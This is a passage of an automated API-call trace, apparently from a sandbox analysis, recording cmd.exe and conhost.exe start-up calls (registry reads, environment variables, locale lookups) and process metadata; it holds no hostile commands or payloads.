hConsoleHandle=0x338, lpMode=0x7ff75f4efc04 | out: lpMode=0x7ff75f4efc04) returned 0 [0209.822] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0209.822] GetConsoleMode (in: hConsoleHandle=0x2c4, lpMode=0x7ff75f4efc00 | out: lpMode=0x7ff75f4efc00) returned 0 [0209.822] _get_osfhandle (_FileHandle=1) returned 0x338 [0209.822] SetConsoleMode (hConsoleHandle=0x338, dwMode=0x0) returned 0 [0209.822] _get_osfhandle (_FileHandle=1) returned 0x338 [0209.823] GetConsoleMode (in: hConsoleHandle=0x338, lpMode=0x7ff75f4efc08 | out: lpMode=0x7ff75f4efc08) returned 0 [0209.823] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0209.823] GetConsoleMode (in: hConsoleHandle=0x2c4, lpMode=0x7ff75f4efc0c | out: lpMode=0x7ff75f4efc0c) returned 0 [0209.823] GetEnvironmentStringsW () returned 0x1bbc7645a40* [0209.823] GetProcessHeap () returned 0x1bbc7640000 [0209.823] RtlAllocateHeap (HeapHandle=0x1bbc7640000, Flags=0x8, Size=0xab6) returned 0x1bbc7646500 [0209.823] FreeEnvironmentStringsA (penv="=") returned 1 [0209.823] GetProcessHeap () returned 0x1bbc7640000 [0209.823] RtlAllocateHeap (HeapHandle=0x1bbc7640000, Flags=0x8, Size=0x8) returned 0x1bbc7645a40 [0209.823] GetEnvironmentStringsW () returned 0x1bbc7646fd0* [0209.824] GetProcessHeap () returned 0x1bbc7640000 [0209.824] RtlAllocateHeap (HeapHandle=0x1bbc7640000, Flags=0x8, Size=0xab6) returned 0x1bbc7647a90 [0209.824] FreeEnvironmentStringsA (penv="=") returned 1 [0209.824] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x223697ea78 | out: phkResult=0x223697ea78*=0x7c) returned 0x0 [0209.824] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x223697ea70, lpData=0x223697ea90, lpcbData=0x223697ea74*=0x1000 | out: lpType=0x223697ea70*=0x0, lpData=0x223697ea90*=0x4, lpcbData=0x223697ea74*=0x1000) returned 0x2 [0209.824] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x223697ea70, lpData=0x223697ea90, lpcbData=0x223697ea74*=0x1000 | out: lpType=0x223697ea70*=0x4, lpData=0x223697ea90*=0x1, lpcbData=0x223697ea74*=0x4) returned 0x0 [0209.824] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x223697ea70, lpData=0x223697ea90, lpcbData=0x223697ea74*=0x1000 | out: lpType=0x223697ea70*=0x0, lpData=0x223697ea90*=0x1, lpcbData=0x223697ea74*=0x1000) returned 0x2 [0209.824] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x223697ea70, lpData=0x223697ea90, lpcbData=0x223697ea74*=0x1000 | out: lpType=0x223697ea70*=0x4, lpData=0x223697ea90*=0x0, lpcbData=0x223697ea74*=0x4) returned 0x0 [0209.824] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x223697ea70, lpData=0x223697ea90, lpcbData=0x223697ea74*=0x1000 | out: lpType=0x223697ea70*=0x4, lpData=0x223697ea90*=0x40, lpcbData=0x223697ea74*=0x4) returned 0x0 [0209.824] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x223697ea70, lpData=0x223697ea90, lpcbData=0x223697ea74*=0x1000 | out: lpType=0x223697ea70*=0x4, lpData=0x223697ea90*=0x40, lpcbData=0x223697ea74*=0x4) returned 0x0 [0209.824] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x223697ea70, lpData=0x223697ea90, lpcbData=0x223697ea74*=0x1000 | out: lpType=0x223697ea70*=0x0, lpData=0x223697ea90*=0x40, lpcbData=0x223697ea74*=0x1000) returned 0x2 [0209.824] RegCloseKey (hKey=0x7c) returned 0x0 [0209.825] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x223697ea78 | out: phkResult=0x223697ea78*=0x7c) returned 0x0 [0209.825] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x223697ea70, lpData=0x223697ea90, lpcbData=0x223697ea74*=0x1000 | out: lpType=0x223697ea70*=0x0, lpData=0x223697ea90*=0x40, lpcbData=0x223697ea74*=0x1000) returned 0x2 [0209.825] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x223697ea70, lpData=0x223697ea90, lpcbData=0x223697ea74*=0x1000 | out: lpType=0x223697ea70*=0x4, lpData=0x223697ea90*=0x1, lpcbData=0x223697ea74*=0x4) returned 0x0 [0209.825] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x223697ea70, lpData=0x223697ea90, lpcbData=0x223697ea74*=0x1000 | out: lpType=0x223697ea70*=0x0, lpData=0x223697ea90*=0x1, lpcbData=0x223697ea74*=0x1000) returned 0x2 [0209.825] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x223697ea70, lpData=0x223697ea90, lpcbData=0x223697ea74*=0x1000 | out: lpType=0x223697ea70*=0x4, lpData=0x223697ea90*=0x0, lpcbData=0x223697ea74*=0x4) returned 0x0 [0209.825] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x223697ea70, lpData=0x223697ea90, lpcbData=0x223697ea74*=0x1000 | out: lpType=0x223697ea70*=0x4, lpData=0x223697ea90*=0x9, lpcbData=0x223697ea74*=0x4) returned 0x0 [0209.825] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x223697ea70, lpData=0x223697ea90, lpcbData=0x223697ea74*=0x1000 | out: lpType=0x223697ea70*=0x4, lpData=0x223697ea90*=0x9, lpcbData=0x223697ea74*=0x4) returned 0x0 [0209.825] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x223697ea70, lpData=0x223697ea90, lpcbData=0x223697ea74*=0x1000 | out: lpType=0x223697ea70*=0x0, lpData=0x223697ea90*=0x9, lpcbData=0x223697ea74*=0x1000) returned 0x2 [0209.825] RegCloseKey (hKey=0x7c) returned 0x0 [0209.825] time (in: timer=0x0 | out: timer=0x0) returned 0x5d236472 [0209.825] srand (_Seed=0x5d236472) [0209.825] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0209.825] malloc (_Size=0x4000) returned 0x1bbc7905530 [0209.826] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0209.826] malloc (_Size=0xffce) returned 0x1bbc7740080 [0209.843] ??_V@YAXPEAX@Z () returned 0x1bbc7740080 [0209.843] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1bbc7740080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0209.843] malloc (_Size=0xffce) returned 0x1bbc7750060 [0209.844] ??_V@YAXPEAX@Z () returned 0x1bbc7750060 [0209.844] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1bbc7750060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0209.845] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff75f4ebb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps;") returned 0xbc [0209.845] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff75f4ebb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0209.845] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff75f4ebb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0209.845] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0209.845] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0209.845] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0209.845] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0209.845] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0209.845] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0209.845] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0209.845] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0209.846] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0209.846] GetProcessHeap () returned 0x1bbc7640000 [0209.846] RtlFreeHeap (HeapHandle=0x1bbc7640000, Flags=0x0, BaseAddress=0x1bbc7646500) returned 1 [0209.846] GetEnvironmentStringsW () returned 0x1bbc7645a60* [0209.846] GetProcessHeap () returned 0x1bbc7640000 [0209.846] RtlAllocateHeap (HeapHandle=0x1bbc7640000, Flags=0x8, Size=0xace) returned 0x1bbc7646540 [0209.846] FreeEnvironmentStringsA (penv="=") returned 1 [0209.846] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff75f4ebb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0209.846] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff75f4ebb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0209.846] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0209.846] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0209.846] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0209.846] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0209.846] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0209.846] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0209.846] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0209.846] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0209.846] malloc (_Size=0xffce) returned 0x1bbc7760040 [0209.847] ??_V@YAXPEAX@Z () returned 0x1bbc7760040 [0209.847] GetProcessHeap () returned 0x1bbc7640000 [0209.847] RtlAllocateHeap (HeapHandle=0x1bbc7640000, Flags=0x8, Size=0x38) returned 0x1bbc7648580 [0209.847] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1bbc7760040 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0209.847] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x7fe7, lpBuffer=0x1bbc7760040, lpFilePart=0x223697f5f0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x223697f5f0*="system32") returned 0x13 [0209.848] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0209.848] FindFirstFileW (in: lpFileName="C:\\WINDOWS", lpFindFileData=0x223697f320 | out: lpFindFileData=0x223697f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc838b81d, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc838b81d, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0x1bbc76485c0 [0209.848] FindClose (in: hFindFile=0x1bbc76485c0 | out: hFindFile=0x1bbc76485c0) returned 1 [0209.849] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x223697f320 | out: lpFindFileData=0x223697f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x3eab335, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x3eab335, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System32", cAlternateFileName="")) returned 0x1bbc76485c0 [0209.849] FindClose (in: hFindFile=0x1bbc76485c0 | out: hFindFile=0x1bbc76485c0) returned 1 [0209.849] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0209.849] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0209.849] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0209.849] GetProcessHeap () returned 0x1bbc7640000 [0209.849] RtlFreeHeap (HeapHandle=0x1bbc7640000, Flags=0x0, BaseAddress=0x1bbc7646540) returned 1 [0209.849] GetEnvironmentStringsW () returned 0x1bbc7645a60* [0209.849] GetProcessHeap () returned 0x1bbc7640000 [0209.849] RtlAllocateHeap (HeapHandle=0x1bbc7640000, Flags=0x8, Size=0xafe) returned 0x1bbc7646570 [0209.849] FreeEnvironmentStringsA (penv="=") returned 1 [0209.849] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1bbc7740080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0209.849] GetProcessHeap () returned 0x1bbc7640000 [0209.849] RtlFreeHeap (HeapHandle=0x1bbc7640000, Flags=0x0, BaseAddress=0x1bbc7648580) returned 1 [0209.849] ??_V@YAXPEAX@Z () returned 0x1 [0209.849] ??_V@YAXPEAX@Z () returned 0x1 [0209.849] GetProcessHeap () returned 0x1bbc7640000 [0209.849] RtlAllocateHeap (HeapHandle=0x1bbc7640000, Flags=0x8, Size=0x4016) returned 0x1bbc7648580 [0209.850] GetProcessHeap () returned 0x1bbc7640000 [0209.850] RtlFreeHeap (HeapHandle=0x1bbc7640000, Flags=0x0, BaseAddress=0x1bbc7648580) returned 1 [0209.850] GetConsoleOutputCP () returned 0x1b5 [0210.674] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff75f4efbb0 | out: lpCPInfo=0x7ff75f4efbb0) returned 1 [0210.674] GetUserDefaultLCID () returned 0x409 [0210.676] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff75f4ebb78, cchData=8 | out: lpLCData=":") returned 2 [0210.676] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x223697f9b0, cchData=128 | out: lpLCData="0") returned 2 [0210.676] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x223697f9b0, cchData=128 | out: lpLCData="0") returned 2 [0210.676] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x223697f9b0, cchData=128 | out: lpLCData="1") returned 2 [0210.676] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff75f4ebb68, cchData=8 | out: lpLCData="/") returned 2 [0210.676] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff75f4ebb00, cchData=32 | out: lpLCData="Mon") returned 4 [0210.676] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff75f4ebac0, cchData=32 | out: lpLCData="Tue") returned 4 [0210.676] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff75f4eba80, cchData=32 | out: lpLCData="Wed") returned 4 [0210.676] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff75f4eba40, cchData=32 | out: lpLCData="Thu") returned 4 [0210.676] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff75f4eba00, cchData=32 | out: lpLCData="Fri") returned 4 [0210.676] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff75f4eb9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0210.677] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff75f4eb980, cchData=32 | out: lpLCData="Sun") returned 4 [0210.677] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff75f4ebb58, cchData=8 | out: lpLCData=".") returned 2 [0210.677] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff75f4ebb40, cchData=8 | out: lpLCData=",") returned 2 [0210.677] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0210.679] GetProcessHeap () returned 0x1bbc7640000 [0210.679] RtlAllocateHeap (HeapHandle=0x1bbc7640000, Flags=0x0, Size=0x20c) returned 0x1bbc76470f0 [0210.679] GetConsoleTitleW (lpConsoleTitle=0x1bbc76470f0, nSize=0x104) Thread: id = 109 os_tid = 0x4e0 Process: id = "14" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x269c1000" os_pid = "0x820" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "13" os_parent_pid = "0x438" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010abc" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 84 os_tid = 0x52c Thread: id = 85 os_tid = 0x838 Thread: id = 104 os_tid = 0xd70 Thread: id = 106 os_tid = 0x43c Thread: id = 107 os_tid = 0x368 Process: id = "15" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x2df2e000" os_pid = "0x7f0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "12" os_parent_pid = "0xfc0" cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\"" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010abc" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 86 os_tid = 0x830 [0209.754] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff75f4b0000 [0209.754] __set_app_type (_Type=0x1) [0209.754] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff75f4c6d00) returned 0x0 [0209.754] __getmainargs (in: _Argc=0x7ff75f4e9200, _Argv=0x7ff75f4e9208, _Env=0x7ff75f4e9210, _DoWildCard=0, _StartInfo=0x7ff75f4e921c | out: _Argc=0x7ff75f4e9200, _Argv=0x7ff75f4e9208, _Env=0x7ff75f4e9210) returned 0 [0209.754] _onexit (_Func=0x7ff75f4c7fd0) returned 0x7ff75f4c7fd0 [0209.754] _onexit (_Func=0x7ff75f4c7fe0) returned 0x7ff75f4c7fe0 [0209.754] _onexit (_Func=0x7ff75f4c7ff0) returned 0x7ff75f4c7ff0 [0209.755] _onexit (_Func=0x7ff75f4c8000) returned 0x7ff75f4c8000 [0209.755] _onexit (_Func=0x7ff75f4c8010) returned 0x7ff75f4c8010 [0209.756] _onexit (_Func=0x7ff75f4c8020) returned 0x7ff75f4c8020 [0209.756] GetCurrentThreadId () returned 0x830 [0209.756] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x830) returned 0x70 [0209.757] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7fff67790000 [0209.757] GetProcAddress (hModule=0x7fff67790000, lpProcName="SetThreadUILanguage") returned 0x7fff677aa990 [0209.757] SetThreadUILanguage (LangId=0x0) returned 0x409 [0210.585] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0210.585] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0xa49099f718 | out: phkResult=0xa49099f718*=0x0) returned 0x2 [0210.585] VirtualQuery (in: lpAddress=0xa49099f704, lpBuffer=0xa49099f680, dwLength=0x30 | out: lpBuffer=0xa49099f680*(BaseAddress=0xa49099f000, AllocationBase=0xa4908a0000, AllocationProtect=0x4, __alignment1=0xffffb18a, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0210.585] VirtualQuery (in: lpAddress=0xa4908a0000, lpBuffer=0xa49099f680, dwLength=0x30 | out: lpBuffer=0xa49099f680*(BaseAddress=0xa4908a0000, AllocationBase=0xa4908a0000, AllocationProtect=0x4, __alignment1=0xffffb18a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0210.585] VirtualQuery (in: lpAddress=0xa4908a1000, lpBuffer=0xa49099f680, dwLength=0x30 | out: lpBuffer=0xa49099f680*(BaseAddress=0xa4908a1000, AllocationBase=0xa4908a0000, AllocationProtect=0x4, __alignment1=0xffffb18a, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0210.585] VirtualQuery (in: lpAddress=0xa4908a4000, lpBuffer=0xa49099f680, dwLength=0x30 | out: lpBuffer=0xa49099f680*(BaseAddress=0xa4908a4000, AllocationBase=0xa4908a0000, AllocationProtect=0x4, __alignment1=0xffffb18a, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0210.585] VirtualQuery (in: lpAddress=0xa4909a0000, lpBuffer=0xa49099f680, dwLength=0x30 | out: lpBuffer=0xa49099f680*(BaseAddress=0xa4909a0000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0xffffb18a, RegionSize=0x60000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0210.585] GetConsoleOutputCP () Thread: id = 111 os_tid = 0x364 Process: id = "16" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x2e4d8000" os_pid = "0x8b8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "15" os_parent_pid = "0x7f0" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010abc" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 91 os_tid = 0x38c Thread: id = 98 os_tid = 0x4c8 Thread: id = 105 os_tid = 0x430 Thread: id = 108 os_tid = 0x4d0 Thread: id = 110 os_tid = 0x4e8